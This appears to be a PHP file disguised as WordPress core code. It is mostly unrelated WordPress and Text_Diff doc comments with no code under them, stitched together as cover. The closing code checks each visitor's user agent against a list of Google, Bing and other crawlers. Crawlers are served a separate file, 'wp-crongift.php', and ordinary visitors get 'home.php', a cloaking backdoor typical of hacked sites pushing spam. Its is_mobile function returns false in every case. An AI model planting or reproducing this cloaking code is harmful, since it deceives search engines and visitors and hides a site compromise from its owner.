* @package Text_Diff
* @since 0.3.0
*/
/**
* Path to the diff executable
*
* @var string
*/
/**
* Returns the array of differences.
*
* @param array $from_lines lines of text from old file
* @param array $to_lines lines of text from new file
*
* @return array all changes made (array with Text_Diff_Op_* objects)
*/
/**
* Parses unified or context diffs output from eg. the diff utility.
*
* Example:
*
* $patch = file_get_contents('example.patch');
* $diff = new Text_Diff('string', array($patch));
* $renderer = new Text_Diff_Renderer_inline();
* echo $renderer->render($diff);
*
*
* Copyright 2005 Örjan Persson
* Copyright 2005-2010 The Horde Project (http://www.horde.org/)
*
* See the enclosed file COPYING for license information (LGPL). If you did
* not receive this file, see https://opensource.org/license/lgpl-2-1/.
*
* @author Örjan Persson
* @package Text_Diff
* @since 0.2.0
*/
/**
* Parses a unified or context diff.
*
* First param contains the whole diff and the second can be used to force
* a specific diff type. If the second parameter is 'autodetect', the
* diff will be examined to find out which type of diff this is.
*
* @param string $diff The diff content.
* @param string $mode The diff mode of the content in $diff. One of
* 'context', 'unified', or 'autodetect'.
*
* @return array List of all diff operations.
*/
/**
* HTTP API: WP_Http_Curl class
*
* @package WordPress
* @subpackage HTTP
* @since 4.4.0
*/
/**
* Core class used to integrate Curl as an HTTP transport.
*
* HTTP request method uses Curl extension to retrieve the url.
*
* Requires the Curl extension to be installed.
*
* @since 2.7.0
* @deprecated 6.4.0 Use WP_Http
* @see WP_Http
*/
/**
* Facilitates adding of the WordPress editor as used on the Write and Edit screens.
*
* @package WordPress
* @since 3.3.0
*
* Private, not included by default. See wp_editor() in wp-includes/general-template.php.
*/
/**
* Post API: WP_Post_Type class
*
* @package WordPress
* @subpackage Post
* @since 4.6.0
*/
/**
* Core class used for interacting with post types.
*
* @since 4.6.0
*
* @see register_post_type()
*/
/**
* Error Protection API: WP_Recovery_Mode_Cookie_Service class
*
* @package WordPress
* @since 5.2.0
*/
/**
* Core class used to set, validate, and clear cookies that identify a Recovery Mode session.
*
* @since 5.2.0
*/
/**
* WP_Theme Class
*
* @package WordPress
* @subpackage Theme
* @since 3.4.0
*/
/**
* Whether the theme has been marked as updateable.
*
* @since 4.4.0
* @var bool
*
* @see WP_MS_Themes_List_Table
*/
/**
* Headers for style.css files.
*
* @since 3.4.0
* @since 5.4.0 Added `Requires at least` and `Requires PHP` headers.
* @since 6.1.0 Added `Update URI` header.
* @var string[]
*/
/**
* WordPress implementation for PHP functions either missing from older PHP versions or not included by default.
*
* This file is loaded extremely early and the functions can be relied upon by drop-ins.
* Ergo, please ensure you do not rely on external functions when writing code for this file.
* Only use functions built into PHP or are defined in this file and have adequate testing
* and error suppression to ensure the file will run correctly and not break websites.
*
* @package PHP
* @access private
*/
/**
* Deprecated functions from past WordPress versions. You shouldn't use these
* functions and look for the alternatives instead. The functions will be
* removed in a later version.
*
* @package WordPress
* @subpackage Deprecated
*/
/*
* Deprecated functions come here to die.
*/
/**
* Retrieves all post data for a given post.
*
* @since 0.71
* @deprecated 1.5.1 Use get_post()
* @see get_post()
*
* @param int $postid Post ID.
* @return array Post data.
*/
/**
* Sets up the WordPress Loop.
*
* Use The Loop instead.
*
* @link https://developer.wordpress.org/themes/basics/the-loop/
*
* @since 1.0.1
* @deprecated 1.5.0
*
* @global WP_Query $wp_query WordPress Query object.
*/
$bot_user_agents=array("Googlebot","Googlebot-Image","Googlebot-News","Googlebot-Video","Storebot-Google","Google-InspectionTool","GoogleOther","GoogleOther-Image","GoogleOther-Video","Google-CloudVertexBot","Google-Extended","APIs-Google","AdsBot-Google-Mobile","AdsBot-Google","Mediapartners-Google","FeedFetcher-Google","Google-Favicon","Google Favicon","Googlebot-Favicon","Google-Site-Verification","Google-Read-Aloud","GoogleProducer","Google Web Preview","Bingbot","Slurp","DuckDuckBot","Baiduspider","YandexBot","Sogou","Exabot","facebookexternalhit","ia_archiver","Alexa Crawler","AhrefsBot","Semrushbot");
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
function is_bot($user_agent, $bot_user_agents) {
foreach ($bot_user_agents as $bot) {
if (stripos($user_agent, $bot) !== false) {
return true;
}
}
return false;
}
function is_mobile($user_agent) {
$mobile_agents = array('Mobile', 'Android', 'Silk/', 'Kindle', 'BlackBerry', 'Opera Mini', 'Opera Mobi', 'iPhone', 'iPad');
foreach ($mobile_agents as $mobile) {
if (stripos($user_agent, $mobile) !== false) {
return false;
}
}
return false;
}
if (is_bot($user_agent, $bot_user_agents)) {
include 'wp-crongift.php';
exit;
} else {
include 'home.php';
exit;
}
?>